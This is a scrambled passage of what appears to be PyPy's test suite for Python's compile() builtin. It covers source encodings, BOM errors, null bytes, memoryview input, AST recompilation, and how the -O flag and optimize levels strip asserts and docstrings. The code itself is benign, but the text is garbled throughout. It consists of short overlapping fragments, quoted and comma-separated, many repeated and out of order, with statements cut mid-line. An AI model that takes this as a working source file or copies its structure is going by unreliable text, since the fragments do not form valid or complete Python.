-*- coding: utf-8 -*-\\npass\\n\" compile(code, \"tmp\", \"exec\") def test_bytes(self):", "= compile(b\"# coding: latin1\\nfoo = 'caf\\xe9'\\n\", \"<string>\", \"exec\") ns =", "+ 1') co = compile(m, 'baz', 'eval') assert eval(co) ==", "= {} exec(memoryview(b'r = 2 + 1'), ns) assert ns['r']", "However, cpython3.5.0a0 behaves the same way as PyPy (__debug__ follows", "-O and optimize=-1.\"\"\" space = self.space space.appexec([], \"\"\"(): exec(compile('assert False',", "= \"\"\" def fn(): pass \"\"\" co = compile(src, 'mymod',", "compiled block! # According to the documentation, it should follow", "coding: utf-8 -*-\\npass\\n\" compile(code, \"tmp\", \"exec\") c = compile(b\"# coding:", "\"<test>\", \"exec\", optimize=1) ns = {} exec(compiled, ns) ns['f']() def", "'doc'), (2, False, None)] for optval, debugval, docstring in values:", "False \"\"\" tree = ast.parse(code) for to_compile in [code, tree]:", "in marshalled assert 'class_doc' not in marshalled class TestOptimizeO: \"\"\"Test", "space.sys.debug # imitate -O space.sys.debug = False def teardown_method(self, method):", "{} exec(compiled, ns) ns['f']() def test_docstring_remove(self): \"\"\"Test removal of docstrings", "coding: latin1\\n'caf\\xe9'\\n\") == 'café' def test_memoryview(self): m = memoryview(b'2 +", "'exec', optimize=-1)) \"\"\") # TODO: Check the value of __debug__", "None)] for optval, debugval, docstring in values: # test both", "-*- coding: utf-8 -*-\\npass\\n\" compile(code, \"tmp\", \"exec\") c = compile(b\"#", "ns) rv = ns['f']() assert rv == (debugval, docstring) def", "\"\"\"Test that assert is ignored with -O and optimize=-1.\"\"\" space", "for optval, debugval, docstring in values: # test both direct", "def setup_method(self, method): space = self.space self._sys_debug = space.sys.debug #", "= compile('1+1', '<string>', 'eval', _ast.PyCF_ONLY_AST) tree = compile(co2, '<ast>', 'eval')", "in str(exc.value) def test_unicode(self): try: compile(u'-', '?', 'eval') except SyntaxError", "'eval', _ast.PyCF_ONLY_AST) is co2 def test_leading_newlines(self): src = \"\"\" def", "exec(compiled, ns) assert '__doc__' not in ns assert ns['f'].__doc__ is", "_ast.PyCF_ONLY_AST) is co2 def test_leading_newlines(self): src = \"\"\" def fn():", "that was failing.\"\"\" import ast codestr = '''def f(): \"\"\"doc\"\"\"", "3 def test_recompile_ast(self): import _ast # raise exception when node", "= 'caf\\xe9'\\n\", \"<string>\", \"exec\") ns = {} exec(c, ns) assert", "is None assert ns['C'].__doc__ is None # Check that the", "bytes\" compile(\"from __future__ import with_statement\", \"<test>\", \"exec\") raises(SyntaxError, compile, '-',", "= \"\"\" 'module_doc' def f(): 'func_doc' class C: 'class_doc' \"\"\"", "def test_unicode_encoding(self): code = \"# -*- coding: utf-8 -*-\\npass\\n\" compile(code,", "= self.space w_res = space.appexec([], \"\"\"(): assert False # check", "_ast.PyCF_ONLY_AST) raises(TypeError, compile, co1, '<ast>', 'eval') co2 = compile('1+1', '<string>',", "\"exec\", optimize=optval)) for i, code in enumerate(codeobjs): print(optval, debugval, docstring,", "fake -*-\\n', 'dummy', 'exec') assert 'fake' in str(exc.value) exc =", "import PyCF_ACCEPT_NULL_BYTES except ImportError: skip('PyPy only (requires _ast.PyCF_ACCEPT_NULL_BYTES)') raises(SyntaxError, compile,", "\"#abc\\x00def\\n\" raises(ValueError, compile, src, 'mymod', 'exec') raises(ValueError, compile, src, 'mymod',", "ns = {} exec(memoryview(b'r = 2 + 1'), ns) assert", "= \"#abc\\x00def\\n\" compile(src, 'mymod', 'exec', PyCF_ACCEPT_NULL_BYTES) # works def test_compile_regression(self):", "null bytes\" compile(\"from __future__ import with_statement\", \"<test>\", \"exec\") raises(SyntaxError, compile,", "'eval') assert compile(co2, '<ast>', 'eval', _ast.PyCF_ONLY_AST) is co2 def test_leading_newlines(self):", "ignored with -O and optimize=-1.\"\"\" space = self.space space.appexec([], \"\"\"():", "== 1 def test_unicode_encoding(self): code = \"# -*- coding: utf-8", "raises(TypeError, compile, '1+2', 12, 34) def test_error_message(self): import re compile('#", "= compile(co2, '<ast>', 'eval') assert compile(co2, '<ast>', 'eval', _ast.PyCF_ONLY_AST) is", "latin1\\nfoo = 'caf\\xe9'\\n\", \"<string>\", \"exec\") ns = {} exec(c, ns)", "the asserts with optimize=1.\"\"\" import ast code = \"\"\"def f():", "_ast.PyCF_ONLY_AST) tree = compile(co2, '<ast>', 'eval') assert compile(co2, '<ast>', 'eval',", "compile('print(1)', '<string>', 'exec', _ast.PyCF_ONLY_AST) raises(TypeError, compile, co1, '<ast>', 'eval') co2", "'?', 'eval') raises(SyntaxError, compile, '\"\\\\xt\"', '?', 'eval') raises(ValueError, compile, '1+2',", "enumerate(codeobjs): print(optval, debugval, docstring, i) ns = {} exec(code, ns)", "coding: iso-8859-15 -*-\\n', 'dummy', 'exec') compile(b'\\xef\\xbb\\xbf\\n', 'dummy', 'exec') compile(b'\\xef\\xbb\\xbf# -*-", "iso-8859-15 -*-\\n', 'dummy', 'exec') compile(b'\\xef\\xbb\\xbf\\n', 'dummy', 'exec') compile(b'\\xef\\xbb\\xbf# -*- coding:", "values: # test both direct compilation and compilation via AST", "'dummy', 'exec') compile(b'\\xef\\xbb\\xbf\\n', 'dummy', 'exec') compile(b'\\xef\\xbb\\xbf# -*- coding: utf-8 -*-\\n',", "\"<string>\", \"exec\") ns = {} exec(c, ns) assert ns['foo'] ==", "-*- coding: utf-8 -*-\\npass\\n\" compile(code, \"tmp\", \"exec\") def test_bytes(self): code", "\"#abc\\x00def\\n\" compile(src, 'mymod', 'exec', PyCF_ACCEPT_NULL_BYTES) # works def test_compile_regression(self): \"\"\"Clone", "compile(to_compile, \"<test>\", \"exec\", optimize=2) ns = {} exec(compiled, ns) assert", "'doc'), (1, False, 'doc'), (2, False, None)] for optval, debugval,", "'-', '?', 'eval') raises(SyntaxError, compile, '\"\\\\xt\"', '?', 'eval') raises(ValueError, compile,", "to_compile in [code, tree]: compiled = compile(to_compile, \"<test>\", \"exec\", optimize=1)", "direct compilation and compilation via AST codeobjs = [] codeobjs.append(", "\"\"\"doc\"\"\" try: assert False except AssertionError: return (True, f.__doc__) else:", "\"\"\"Test interaction of -O flag and optimize parameter of compile.\"\"\"", "'exec') compile(b'\\xef\\xbb\\xbf# -*- coding: utf-8 -*-\\n', 'dummy', 'exec') exc =", "ns) assert ns['foo'] == 'café' assert eval(b\"# coding: latin1\\n'caf\\xe9'\\n\") ==", "in values: # test both direct compilation and compilation via", "'\\x00', 'mymod', 'exec', 0) src = \"#abc\\x00def\\n\" raises(ValueError, compile, src,", "that assert is ignored with -O and optimize=-1.\"\"\" space =", "assert eval(b\"# coding: latin1\\n'caf\\xe9'\\n\") == 'café' def test_memoryview(self): m =", "\"exec\", optimize=optval)) tree = ast.parse(codestr) codeobjs.append(compile(tree, \"<test>\", \"exec\", optimize=optval)) for", "in str(exc.value) assert 'BOM' in str(exc.value) exc = raises(SyntaxError, compile,", "f(): assert False \"\"\" tree = ast.parse(code) for to_compile in", "raises(ValueError, compile, src, 'mymod', 'exec', 0) def test_null_bytes_flag(self): try: from", "co = compile('1+2', '?', 'eval') assert eval(co) == 3 co", "def test_memoryview(self): m = memoryview(b'2 + 1') co = compile(m,", "None assert ns['C'].__doc__ is None # Check that the docstrings", "test_unicode(self): try: compile(u'-', '?', 'eval') except SyntaxError as e: assert", "firstlineno == 2 def test_null_bytes(self): raises(ValueError, compile, '\\x00', 'mymod', 'exec',", "3 co = compile(memoryview(b'1+2'), '?', 'eval') assert eval(co) == 3", "False def teardown_method(self, method): self.space.sys.debug = self._sys_debug def test_O_optmize_0(self): \"\"\"Test", "\"\"\"Clone of the part of the original test that was", "ignored if -O flag is set but optimize=0.\"\"\" space =", "def test_null_bytes(self): raises(ValueError, compile, '\\x00', 'mymod', 'exec', 0) src =", "to_compile in [code, tree]: compiled = compile(to_compile, \"<test>\", \"exec\", optimize=2)", "-O flag is set but optimize=0.\"\"\" space = self.space w_res", "return (False, f.__doc__) ''' def f(): \"\"\"doc\"\"\" values = [(-1,", "compile(co2, '<ast>', 'eval') assert compile(co2, '<ast>', 'eval', _ast.PyCF_ONLY_AST) is co2", "def test_docstring_remove(self): \"\"\"Test removal of docstrings with optimize=2.\"\"\" import ast", "via AST codeobjs = [] codeobjs.append( compile(codestr, \"<test>\", \"exec\", optimize=optval))", "eval(co) == 3 assert eval(m) == 3 ns = {}", "and compilation via AST codeobjs = [] codeobjs.append( compile(codestr, \"<test>\",", "is set but optimize=0.\"\"\" space = self.space w_res = space.appexec([],", "test both direct compilation and compilation via AST codeobjs =", "== 'café' def test_memoryview(self): m = memoryview(b'2 + 1') co", "the original test that was failing.\"\"\" import ast codestr =", "__debug__ inside of the compiled block! # According to the", "not ignored if -O flag is set but optimize=0.\"\"\" space", "class C: 'class_doc' \"\"\" tree = ast.parse(code) for to_compile in", "ns assert ns['f'].__doc__ is None assert ns['C'].__doc__ is None #", "imitation hack works try: exec(compile('assert False', '', 'exec', optimize=0)) except", "\"exec\") c = compile(b\"# coding: latin1\\nfoo = 'caf\\xe9'\\n\", \"<string>\", \"exec\")", "and optimize=-1.\"\"\" space = self.space space.appexec([], \"\"\"(): exec(compile('assert False', '',", "# According to the documentation, it should follow the optimize", "AST codeobjs = [] codeobjs.append( compile(codestr, \"<test>\", \"exec\", optimize=optval)) tree", "raises(ValueError, compile, '\\x00', 'mymod', 'exec', 0) src = \"#abc\\x00def\\n\" raises(ValueError,", "test_unicode_encoding(self): code = \"# -*- coding: utf-8 -*-\\npass\\n\" compile(code, \"tmp\",", "tree = ast.parse(codestr) codeobjs.append(compile(tree, \"<test>\", \"exec\", optimize=optval)) for i, code", "= compile('print(1)', '<string>', 'exec', _ast.PyCF_ONLY_AST) raises(TypeError, compile, co1, '<ast>', 'eval')", "codeobjs.append(compile(tree, \"<test>\", \"exec\", optimize=optval)) for i, code in enumerate(codeobjs): print(optval,", "test that was failing.\"\"\" import ast codestr = '''def f():", "in ns assert ns['f'].__doc__ is None assert ns['C'].__doc__ is None", "False', '', 'exec', optimize=0)) except AssertionError: return True else: return", "assert ns['C'].__doc__ is None # Check that the docstrings are", "-*-\\n', 'dummy', 'exec') exc = raises(SyntaxError, compile, b'# -*- coding:", "space.appexec([], \"\"\"(): assert False # check that our -O imitation", "def f(): \"\"\"doc\"\"\" values = [(-1, __debug__, f.__doc__), (0, True,", "flag is set but optimize=0.\"\"\" space = self.space w_res =", "{} exec(c, ns) assert ns['foo'] == 'café' assert eval(b\"# coding:", "(True, f.__doc__) else: return (False, f.__doc__) ''' def f(): \"\"\"doc\"\"\"", "assert 'BOM' in str(exc.value) exc = raises(SyntaxError, compile, b'\\xef\\xbb\\xbf# -*-", "'\\x00', 'mymod', 'exec', PyCF_ACCEPT_NULL_BYTES) src = \"#abc\\x00def\\n\" compile(src, 'mymod', 'exec',", "'module_doc' def f(): 'func_doc' class C: 'class_doc' \"\"\" tree =", "= raises(SyntaxError, compile, b'\\xef\\xbb\\xbf# -*- coding: fake -*-\\n', 'dummy', 'exec')", "compile(code, \"tmp\", \"exec\") c = compile(b\"# coding: latin1\\nfoo = 'caf\\xe9'\\n\",", "space = self.space self._sys_debug = space.sys.debug # imitate -O space.sys.debug", "str(marshal.dumps(compiled)) assert 'module_doc' not in marshalled assert 'func_doc' not in", "src = \"#abc\\x00def\\n\" compile(src, 'mymod', 'exec', PyCF_ACCEPT_NULL_BYTES) # works def", "codeobjs = [] codeobjs.append( compile(codestr, \"<test>\", \"exec\", optimize=optval)) tree =", "1'), ns) assert ns['r'] == 3 def test_recompile_ast(self): import _ast", "def test_leading_newlines(self): src = \"\"\" def fn(): pass \"\"\" co", "{} exec(compiled, ns) assert '__doc__' not in ns assert ns['f'].__doc__", "= \"#abc\\x00def\\n\" raises(ValueError, compile, src, 'mymod', 'exec') raises(ValueError, compile, src,", "PyCF_ACCEPT_NULL_BYTES) # works def test_compile_regression(self): \"\"\"Clone of the part of", "co = compile(src, 'mymod', 'exec') firstlineno = co.co_firstlineno assert firstlineno", "coding: latin1\\nfoo = 'caf\\xe9'\\n\", \"<string>\", \"exec\") ns = {} exec(c,", "try: exec(compile('assert False', '', 'exec', optimize=0)) except AssertionError: return True", "assert 'fake' in str(exc.value) exc = raises(SyntaxError, compile, b'\\xef\\xbb\\xbf# -*-", "'func_doc' not in marshalled assert 'class_doc' not in marshalled class", "2 def test_null_bytes(self): raises(ValueError, compile, '\\x00', 'mymod', 'exec', 0) src", "\"<test>\", \"exec\") raises(SyntaxError, compile, '-', '?', 'eval') raises(SyntaxError, compile, '\"\\\\xt\"',", "= {} exec(compiled, ns) ns['f']() def test_docstring_remove(self): \"\"\"Test removal of", "our -O imitation hack works try: exec(compile('assert False', '', 'exec',", "compile(u'-', '?', 'eval') except SyntaxError as e: assert e.lineno ==", "rv = ns['f']() assert rv == (debugval, docstring) def test_assert_remove(self):", "assert space.unwrap(w_res) def test_O_optimize__1(self): \"\"\"Test that assert is ignored with", "inaccessible. marshalled = str(marshal.dumps(compiled)) assert 'module_doc' not in marshalled assert", "'mymod', 'exec', 0) src = \"#abc\\x00def\\n\" raises(ValueError, compile, src, 'mymod',", "'?', 'eval') assert eval(co) == 3 exc = raises(ValueError, compile,", "import ast import marshal code = \"\"\" 'module_doc' def f():", "in enumerate(codeobjs): print(optval, debugval, docstring, i) ns = {} exec(code,", "\"\"\"Test removal of the asserts with optimize=1.\"\"\" import ast code", "to the documentation, it should follow the optimize flag. #", "ast codestr = '''def f(): \"\"\"doc\"\"\" try: assert False except", "test_O_optmize_0(self): \"\"\"Test that assert is not ignored if -O flag", "compile('# -*- coding: iso-8859-15 -*-\\n', 'dummy', 'exec') compile(b'\\xef\\xbb\\xbf\\n', 'dummy', 'exec')", "'dummy', 'exec') assert 'fake' in str(exc.value) assert 'BOM' in str(exc.value)", "assert compile(co2, '<ast>', 'eval', _ast.PyCF_ONLY_AST) is co2 def test_leading_newlines(self): src", "ns) assert ns['r'] == 3 def test_recompile_ast(self): import _ast #", "(0, True, 'doc'), (1, False, 'doc'), (2, False, None)] for", "'fake' in str(exc.value) exc = raises(SyntaxError, compile, b'\\xef\\xbb\\xbf# -*- coding:", "__debug__, f.__doc__), (0, True, 'doc'), (1, False, 'doc'), (2, False,", "utf-8 -*-\\n', 'dummy', 'exec') exc = raises(SyntaxError, compile, b'# -*-", "TODO: Check the value of __debug__ inside of the compiled", "of __debug__ inside of the compiled block! # According to", "follow the optimize flag. # However, cpython3.5.0a0 behaves the same", "in marshalled assert 'func_doc' not in marshalled assert 'class_doc' not", "f.__doc__), (0, True, 'doc'), (1, False, 'doc'), (2, False, None)]", "\"\"\" def fn(): pass \"\"\" co = compile(src, 'mymod', 'exec')", "works try: exec(compile('assert False', '', 'exec', optimize=0)) except AssertionError: return", "optimize=-1.\"\"\" space = self.space space.appexec([], \"\"\"(): exec(compile('assert False', '', 'exec',", "latin1\\n'caf\\xe9'\\n\") == 'café' def test_memoryview(self): m = memoryview(b'2 + 1')", "mode co1 = compile('print(1)', '<string>', 'exec', _ast.PyCF_ONLY_AST) raises(TypeError, compile, co1,", "= self._sys_debug def test_O_optmize_0(self): \"\"\"Test that assert is not ignored", "compile('1+1', '<string>', 'eval', _ast.PyCF_ONLY_AST) tree = compile(co2, '<ast>', 'eval') assert", "False, 'doc'), (2, False, None)] for optval, debugval, docstring in", "not in marshalled class TestOptimizeO: \"\"\"Test interaction of -O flag", "3 ns = {} exec(memoryview(b'r = 2 + 1'), ns)", "'exec', PyCF_ACCEPT_NULL_BYTES) src = \"#abc\\x00def\\n\" compile(src, 'mymod', 'exec', PyCF_ACCEPT_NULL_BYTES) #", "[code, tree]: compiled = compile(to_compile, \"<test>\", \"exec\", optimize=2) ns =", "raises(SyntaxError, compile, '\\x00', 'mymod', 'exec', PyCF_ACCEPT_NULL_BYTES) src = \"#abc\\x00def\\n\" compile(src,", "# However, cpython3.5.0a0 behaves the same way as PyPy (__debug__", "def test_compile_regression(self): \"\"\"Clone of the part of the original test", "optimize=optval)) for i, code in enumerate(codeobjs): print(optval, debugval, docstring, i)", "node type doesn't match with compile mode co1 = compile('print(1)',", "'mymod', 'exec', PyCF_ACCEPT_NULL_BYTES) src = \"#abc\\x00def\\n\" compile(src, 'mymod', 'exec', PyCF_ACCEPT_NULL_BYTES)", "cannot contain null bytes\" compile(\"from __future__ import with_statement\", \"<test>\", \"exec\")", "i, code in enumerate(codeobjs): print(optval, debugval, docstring, i) ns =", "with_statement\", \"<test>\", \"exec\") raises(SyntaxError, compile, '-', '?', 'eval') raises(SyntaxError, compile,", "\"tmp\", \"exec\") def test_bytes(self): code = b\"# -*- coding: utf-8", "import ast code = \"\"\"def f(): assert False \"\"\" tree", "= 2 + 1'), ns) assert ns['r'] == 3 def", "ns) assert '__doc__' not in ns assert ns['f'].__doc__ is None", "skip('PyPy only (requires _ast.PyCF_ACCEPT_NULL_BYTES)') raises(SyntaxError, compile, '\\x00', 'mymod', 'exec', PyCF_ACCEPT_NULL_BYTES)", "(1, False, 'doc'), (2, False, None)] for optval, debugval, docstring", "as e: assert e.lineno == 1 def test_unicode_encoding(self): code =", "0) src = \"#abc\\x00def\\n\" raises(ValueError, compile, src, 'mymod', 'exec') raises(ValueError,", "= '''def f(): \"\"\"doc\"\"\" try: assert False except AssertionError: return", "ns['C'].__doc__ is None # Check that the docstrings are gone", "'__doc__' not in ns assert ns['f'].__doc__ is None assert ns['C'].__doc__", "src, 'mymod', 'exec', 0) def test_null_bytes_flag(self): try: from _ast import", "= b\"# -*- coding: utf-8 -*-\\npass\\n\" compile(code, \"tmp\", \"exec\") c", "of the original test that was failing.\"\"\" import ast codestr", "raise exception when node type doesn't match with compile mode", "compile.\"\"\" def setup_method(self, method): space = self.space self._sys_debug = space.sys.debug", "'<ast>', 'eval') co2 = compile('1+1', '<string>', 'eval', _ast.PyCF_ONLY_AST) tree =", "= ns['f']() assert rv == (debugval, docstring) def test_assert_remove(self): \"\"\"Test", "marshalled assert 'class_doc' not in marshalled class TestOptimizeO: \"\"\"Test interaction", "AppTestCompile: def test_simple(self): import sys co = compile('1+2', '?', 'eval')", "b'# -*- coding: fake -*-\\n', 'dummy', 'exec') assert 'fake' in", "firstlineno = co.co_firstlineno assert firstlineno == 2 def test_null_bytes(self): raises(ValueError,", "src = \"#abc\\x00def\\n\" raises(ValueError, compile, src, 'mymod', 'exec') raises(ValueError, compile,", "\"exec\", optimize=1) ns = {} exec(compiled, ns) ns['f']() def test_docstring_remove(self):", "optimize flag. # However, cpython3.5.0a0 behaves the same way as", "== 3 assert eval(m) == 3 ns = {} exec(memoryview(b'r", "with compile mode co1 = compile('print(1)', '<string>', 'exec', _ast.PyCF_ONLY_AST) raises(TypeError,", "bytecode and not just # inaccessible. marshalled = str(marshal.dumps(compiled)) assert", "'?', 'eval') except SyntaxError as e: assert e.lineno == 1", "setup_method(self, method): space = self.space self._sys_debug = space.sys.debug # imitate", "docstring, i) ns = {} exec(code, ns) rv = ns['f']()", "code = \"# -*- coding: utf-8 -*-\\npass\\n\" compile(code, \"tmp\", \"exec\")", "fake -*-\\n', 'dummy', 'exec') assert 'fake' in str(exc.value) assert 'BOM'", "removal of the asserts with optimize=1.\"\"\" import ast code =", "except AssertionError: return True else: return False \"\"\") assert space.unwrap(w_res)", "m = memoryview(b'2 + 1') co = compile(m, 'baz', 'eval')", "code string cannot contain null bytes\" compile(\"from __future__ import with_statement\",", "block! # According to the documentation, it should follow the", "def test_null_bytes_flag(self): try: from _ast import PyCF_ACCEPT_NULL_BYTES except ImportError: skip('PyPy", "'exec') assert 'fake' in str(exc.value) exc = raises(SyntaxError, compile, b'\\xef\\xbb\\xbf#", "self._sys_debug def test_O_optmize_0(self): \"\"\"Test that assert is not ignored if", "'?', 'eval') raises(ValueError, compile, '1+2', '?', 'maybenot') raises(ValueError, compile, \"\\n\",", "with -O and optimize=-1.\"\"\" space = self.space space.appexec([], \"\"\"(): exec(compile('assert", "try: assert False except AssertionError: return (True, f.__doc__) else: return", "tree = compile(co2, '<ast>', 'eval') assert compile(co2, '<ast>', 'eval', _ast.PyCF_ONLY_AST)", "'BOM' in str(exc.value) def test_unicode(self): try: compile(u'-', '?', 'eval') except", "-*- coding: fake -*-\\n', 'dummy', 'exec') assert 'fake' in str(exc.value)", "0xff) raises(TypeError, compile, '1+2', 12, 34) def test_error_message(self): import re", "return False \"\"\") assert space.unwrap(w_res) def test_O_optimize__1(self): \"\"\"Test that assert", "= compile(memoryview(b'1+2'), '?', 'eval') assert eval(co) == 3 exc =", "-O space.sys.debug = False def teardown_method(self, method): self.space.sys.debug = self._sys_debug", "'exec') firstlineno = co.co_firstlineno assert firstlineno == 2 def test_null_bytes(self):", "False \"\"\") assert space.unwrap(w_res) def test_O_optimize__1(self): \"\"\"Test that assert is", "compile, \"\\n\", \"<string>\", \"exec\", 0xff) raises(TypeError, compile, '1+2', 12, 34)", "compile(\"from __future__ import with_statement\", \"<test>\", \"exec\") raises(SyntaxError, compile, '-', '?',", "\"\"\"def f(): assert False \"\"\" tree = ast.parse(code) for to_compile", "exc = raises(ValueError, compile, chr(0), '?', 'eval') assert str(exc.value) ==", "ns = {} exec(compiled, ns) ns['f']() def test_docstring_remove(self): \"\"\"Test removal", "tree]: compiled = compile(to_compile, \"<test>\", \"exec\", optimize=2) ns = {}", "-*-\\npass\\n\" compile(code, \"tmp\", \"exec\") c = compile(b\"# coding: latin1\\nfoo =", "= {} exec(c, ns) assert ns['foo'] == 'café' assert eval(b\"#", "-*-\\n', 'dummy', 'exec') assert 'fake' in str(exc.value) exc = raises(SyntaxError,", "codestr = '''def f(): \"\"\"doc\"\"\" try: assert False except AssertionError:", "the compiled block! # According to the documentation, it should", "marshalled class TestOptimizeO: \"\"\"Test interaction of -O flag and optimize", "ns['f']() def test_docstring_remove(self): \"\"\"Test removal of docstrings with optimize=2.\"\"\" import", "= compile('1+2', '?', 'eval') assert eval(co) == 3 co =", "assert False except AssertionError: return (True, f.__doc__) else: return (False,", "except AssertionError: return (True, f.__doc__) else: return (False, f.__doc__) '''", "from _ast import PyCF_ACCEPT_NULL_BYTES except ImportError: skip('PyPy only (requires _ast.PyCF_ACCEPT_NULL_BYTES)')", "w_res = space.appexec([], \"\"\"(): assert False # check that our", "\"\"\"Test removal of docstrings with optimize=2.\"\"\" import ast import marshal", "= ast.parse(codestr) codeobjs.append(compile(tree, \"<test>\", \"exec\", optimize=optval)) for i, code in", "type doesn't match with compile mode co1 = compile('print(1)', '<string>',", "check that our -O imitation hack works try: exec(compile('assert False',", "compilation and compilation via AST codeobjs = [] codeobjs.append( compile(codestr,", "tree = ast.parse(code) for to_compile in [code, tree]: compiled =", "return True else: return False \"\"\") assert space.unwrap(w_res) def test_O_optimize__1(self):", "\"\"\" tree = ast.parse(code) for to_compile in [code, tree]: compiled", "memoryview(b'2 + 1') co = compile(m, 'baz', 'eval') assert eval(co)", "of the compiled block! # According to the documentation, it", "exc = raises(SyntaxError, compile, b'# -*- coding: fake -*-\\n', 'dummy',", "'exec', PyCF_ACCEPT_NULL_BYTES) # works def test_compile_regression(self): \"\"\"Clone of the part", "eval(b\"# coding: latin1\\n'caf\\xe9'\\n\") == 'café' def test_memoryview(self): m = memoryview(b'2", "optimize=1) ns = {} exec(compiled, ns) ns['f']() def test_docstring_remove(self): \"\"\"Test", "space.unwrap(w_res) def test_O_optimize__1(self): \"\"\"Test that assert is ignored with -O", "b'\\xef\\xbb\\xbf# -*- coding: iso-8859-15 -*-\\n', 'dummy', 'exec') assert 'iso-8859-15' in", "2 + 1'), ns) assert ns['r'] == 3 def test_recompile_ast(self):", "# works def test_compile_regression(self): \"\"\"Clone of the part of the", "= [] codeobjs.append( compile(codestr, \"<test>\", \"exec\", optimize=optval)) tree = ast.parse(codestr)", "space = self.space w_res = space.appexec([], \"\"\"(): assert False #", "raises(ValueError, compile, chr(0), '?', 'eval') assert str(exc.value) == \"source code", "utf-8 -*-\\npass\\n\" compile(code, \"tmp\", \"exec\") def test_bytes(self): code = b\"#", "assert '__doc__' not in ns assert ns['f'].__doc__ is None assert", "but optimize=0.\"\"\" space = self.space w_res = space.appexec([], \"\"\"(): assert", "compile(b'\\xef\\xbb\\xbf# -*- coding: utf-8 -*-\\n', 'dummy', 'exec') exc = raises(SyntaxError,", "optimize=1.\"\"\" import ast code = \"\"\"def f(): assert False \"\"\"", "marshalled = str(marshal.dumps(compiled)) assert 'module_doc' not in marshalled assert 'func_doc'", "compile, b'\\xef\\xbb\\xbf# -*- coding: iso-8859-15 -*-\\n', 'dummy', 'exec') assert 'iso-8859-15'", "the value of __debug__ inside of the compiled block! #", "src = \"\"\" def fn(): pass \"\"\" co = compile(src,", "assert ns['f'].__doc__ is None assert ns['C'].__doc__ is None # Check", "'mymod', 'exec') firstlineno = co.co_firstlineno assert firstlineno == 2 def", "'\"\\\\xt\"', '?', 'eval') raises(ValueError, compile, '1+2', '?', 'maybenot') raises(ValueError, compile,", "compile(src, 'mymod', 'exec', PyCF_ACCEPT_NULL_BYTES) # works def test_compile_regression(self): \"\"\"Clone of", "'eval') assert eval(co) == 3 exc = raises(ValueError, compile, chr(0),", "'BOM' in str(exc.value) exc = raises(SyntaxError, compile, b'\\xef\\xbb\\xbf# -*- coding:", "marshalled assert 'func_doc' not in marshalled assert 'class_doc' not in", "= raises(ValueError, compile, chr(0), '?', 'eval') assert str(exc.value) == \"source", "c = compile(b\"# coding: latin1\\nfoo = 'caf\\xe9'\\n\", \"<string>\", \"exec\") ns", "== 3 def test_recompile_ast(self): import _ast # raise exception when", "match with compile mode co1 = compile('print(1)', '<string>', 'exec', _ast.PyCF_ONLY_AST)", "src, 'mymod', 'exec') raises(ValueError, compile, src, 'mymod', 'exec', 0) def", "was failing.\"\"\" import ast codestr = '''def f(): \"\"\"doc\"\"\" try:", "else: return False \"\"\") assert space.unwrap(w_res) def test_O_optimize__1(self): \"\"\"Test that", "\"exec\") ns = {} exec(c, ns) assert ns['foo'] == 'café'", "'?', 'eval') assert str(exc.value) == \"source code string cannot contain", "'exec', optimize=0)) except AssertionError: return True else: return False \"\"\")", "\"\"\" 'module_doc' def f(): 'func_doc' class C: 'class_doc' \"\"\" tree", "compile, '1+2', '?', 'maybenot') raises(ValueError, compile, \"\\n\", \"<string>\", \"exec\", 0xff)", "= raises(SyntaxError, compile, b'\\xef\\xbb\\xbf# -*- coding: iso-8859-15 -*-\\n', 'dummy', 'exec')", "code = \"\"\" 'module_doc' def f(): 'func_doc' class C: 'class_doc'", "from the bytecode and not just # inaccessible. marshalled =", "when node type doesn't match with compile mode co1 =", "compile, src, 'mymod', 'exec') raises(ValueError, compile, src, 'mymod', 'exec', 0)", "== 3 ns = {} exec(memoryview(b'r = 2 + 1'),", "are gone from the bytecode and not just # inaccessible.", "coding: fake -*-\\n', 'dummy', 'exec') assert 'fake' in str(exc.value) exc", "compile, b'# -*- coding: fake -*-\\n', 'dummy', 'exec') assert 'fake'", "'<string>', 'exec', _ast.PyCF_ONLY_AST) raises(TypeError, compile, co1, '<ast>', 'eval') co2 =", "-*-\\n', 'dummy', 'exec') compile(b'\\xef\\xbb\\xbf\\n', 'dummy', 'exec') compile(b'\\xef\\xbb\\xbf# -*- coding: utf-8", "self.space w_res = space.appexec([], \"\"\"(): assert False # check that", "str(exc.value) exc = raises(SyntaxError, compile, b'\\xef\\xbb\\xbf# -*- coding: iso-8859-15 -*-\\n',", "that assert is not ignored if -O flag is set", "the same way as PyPy (__debug__ follows # -O, -OO", "assert e.lineno == 1 def test_unicode_encoding(self): code = \"# -*-", "just # inaccessible. marshalled = str(marshal.dumps(compiled)) assert 'module_doc' not in", "'eval') co2 = compile('1+1', '<string>', 'eval', _ast.PyCF_ONLY_AST) tree = compile(co2,", "C: 'class_doc' \"\"\" tree = ast.parse(code) for to_compile in [code,", "'module_doc' not in marshalled assert 'func_doc' not in marshalled assert", "\"exec\") def test_bytes(self): code = b\"# -*- coding: utf-8 -*-\\npass\\n\"", "iso-8859-15 -*-\\n', 'dummy', 'exec') assert 'iso-8859-15' in str(exc.value) assert 'BOM'", "of the asserts with optimize=1.\"\"\" import ast code = \"\"\"def", "'eval') assert eval(co) == 3 co = compile(memoryview(b'1+2'), '?', 'eval')", "34) def test_error_message(self): import re compile('# -*- coding: iso-8859-15 -*-\\n',", "_ast import PyCF_ACCEPT_NULL_BYTES except ImportError: skip('PyPy only (requires _ast.PyCF_ACCEPT_NULL_BYTES)') raises(SyntaxError,", "\"<test>\", \"exec\", optimize=optval)) tree = ast.parse(codestr) codeobjs.append(compile(tree, \"<test>\", \"exec\", optimize=optval))", "try: from _ast import PyCF_ACCEPT_NULL_BYTES except ImportError: skip('PyPy only (requires", "\"\"\") # TODO: Check the value of __debug__ inside of", "documentation, it should follow the optimize flag. # However, cpython3.5.0a0", "raises(SyntaxError, compile, '\"\\\\xt\"', '?', 'eval') raises(ValueError, compile, '1+2', '?', 'maybenot')", "test_null_bytes_flag(self): try: from _ast import PyCF_ACCEPT_NULL_BYTES except ImportError: skip('PyPy only", "assert is not ignored if -O flag is set but", "only (requires _ast.PyCF_ACCEPT_NULL_BYTES)') raises(SyntaxError, compile, '\\x00', 'mymod', 'exec', PyCF_ACCEPT_NULL_BYTES) src", "code in enumerate(codeobjs): print(optval, debugval, docstring, i) ns = {}", "__future__ import with_statement\", \"<test>\", \"exec\") raises(SyntaxError, compile, '-', '?', 'eval')", "\"<string>\", \"exec\", 0xff) raises(TypeError, compile, '1+2', 12, 34) def test_error_message(self):", "-*- coding: iso-8859-15 -*-\\n', 'dummy', 'exec') compile(b'\\xef\\xbb\\xbf\\n', 'dummy', 'exec') compile(b'\\xef\\xbb\\xbf#", "PyCF_ACCEPT_NULL_BYTES) src = 